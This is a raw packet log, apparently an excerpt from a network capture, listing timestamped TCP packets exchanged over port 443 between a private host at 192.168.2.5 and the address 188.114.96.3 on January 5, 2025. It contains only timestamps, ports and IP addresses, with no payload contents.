Jan 5, 2025 18:52:51.526468039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526490927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526561022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.526572943 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526777029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526799917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526839972 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.526848078 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.526870966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.526897907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527009010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527026892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527077913 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527085066 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527259111 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527280092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527321100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527328014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527348995 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527374983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527664900 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527681112 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527726889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527731895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527914047 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527942896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.527981997 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.527987003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.528012037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.528034925 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.528173923 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.528192043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.528256893 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.528260946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.528273106 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.528295994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.528436899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.556190014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.556215048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.556308031 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.556334019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.557008028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.619018078 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619045019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619257927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.619271994 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619311094 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619348049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619379997 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.619388103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.619421005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.619452000 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.620007038 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620023966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620100975 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.620109081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620254993 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620276928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620306969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.620316029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.620340109 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.620363951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622349024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622370958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622411013 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622419119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622447968 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622457027 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622526884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622545958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622579098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622586012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622606039 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622623920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622878075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622894049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.622931957 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.622937918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.625878096 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.648550987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.648576021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.648634911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.648646116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.649960041 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.711237907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.711268902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.711433887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.711461067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.711544991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712032080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712054968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712088108 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712094069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712122917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712142944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712300062 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712317944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712356091 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712361097 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712383986 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712414026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712634087 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712654114 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.712698936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.712704897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.714190006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.714786053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.714804888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.714848995 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.714854002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.714891911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715131044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715148926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715183020 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715187073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715213060 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715223074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715348959 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715368032 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715399981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715409040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.715425968 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.715455055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.745182037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.745202065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.745284081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.745291948 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.745934963 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838526964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838551998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838606119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838624001 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838656902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838675976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838685036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838706970 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838713884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838722944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838742971 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838746071 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838753939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838782072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838783026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838805914 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838809967 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.838834047 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.838855028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839029074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839045048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839071035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839076042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839101076 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839102983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839114904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839118958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839129925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839142084 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839174032 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839179039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839207888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839402914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839417934 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839447021 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839452028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839467049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839473009 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839483976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839485884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839493990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839514971 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839545965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839843988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839859962 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839893103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839899063 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.839910030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.839926958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840017080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840032101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840060949 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840065956 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840086937 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840102911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840358019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840372086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840404034 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840409040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840459108 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840490103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840507030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840517998 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840522051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840531111 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840564966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840643883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840657949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840707064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.840713978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.840745926 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841001987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841016054 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841052055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841058969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841074944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841092110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841161966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841176033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841209888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841214895 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841237068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841255903 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841317892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841332912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841362953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841367006 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841392994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841411114 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841459990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841480970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841511965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841517925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841533899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841550112 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841914892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841929913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841963053 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.841969013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.841989994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842009068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842061043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842077017 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842104912 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842108965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842130899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842144966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842232943 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842247009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842284918 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842289925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842308044 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842324018 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842329979 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842344999 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842372894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842379093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842401028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842417002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842789888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842803955 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842839956 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842844963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842875004 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842880964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842895985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842928886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842935085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.842953920 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.842971087 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843075991 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843092918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843127966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843132973 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843158960 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843170881 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843545914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843579054 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843594074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843600988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843616962 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843664885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843677044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843700886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843705893 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843730927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843858004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843872070 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843900919 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.843908072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.843925953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844043970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844058037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844089985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844096899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844115973 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844647884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844662905 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844691992 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844700098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844719887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844772100 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844784975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844810009 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.844815969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.844834089 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845017910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845031977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845061064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845067024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845088959 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845197916 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845216990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845243931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845249891 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845276117 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845520973 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845535040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845573902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845580101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845607042 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845789909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845803022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845838070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845844030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845860958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845930099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.845951080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845966101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.845999956 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846005917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846025944 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846368074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846381903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846410990 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846417904 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846435070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846637964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846651077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846679926 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846684933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846704960 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846846104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846859932 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.846901894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.846920013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.847100019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.847115993 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.847143888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.847150087 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:52.847166061 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:52.847518921 CET	443	49885	188.114.96.3	192.168.2.5
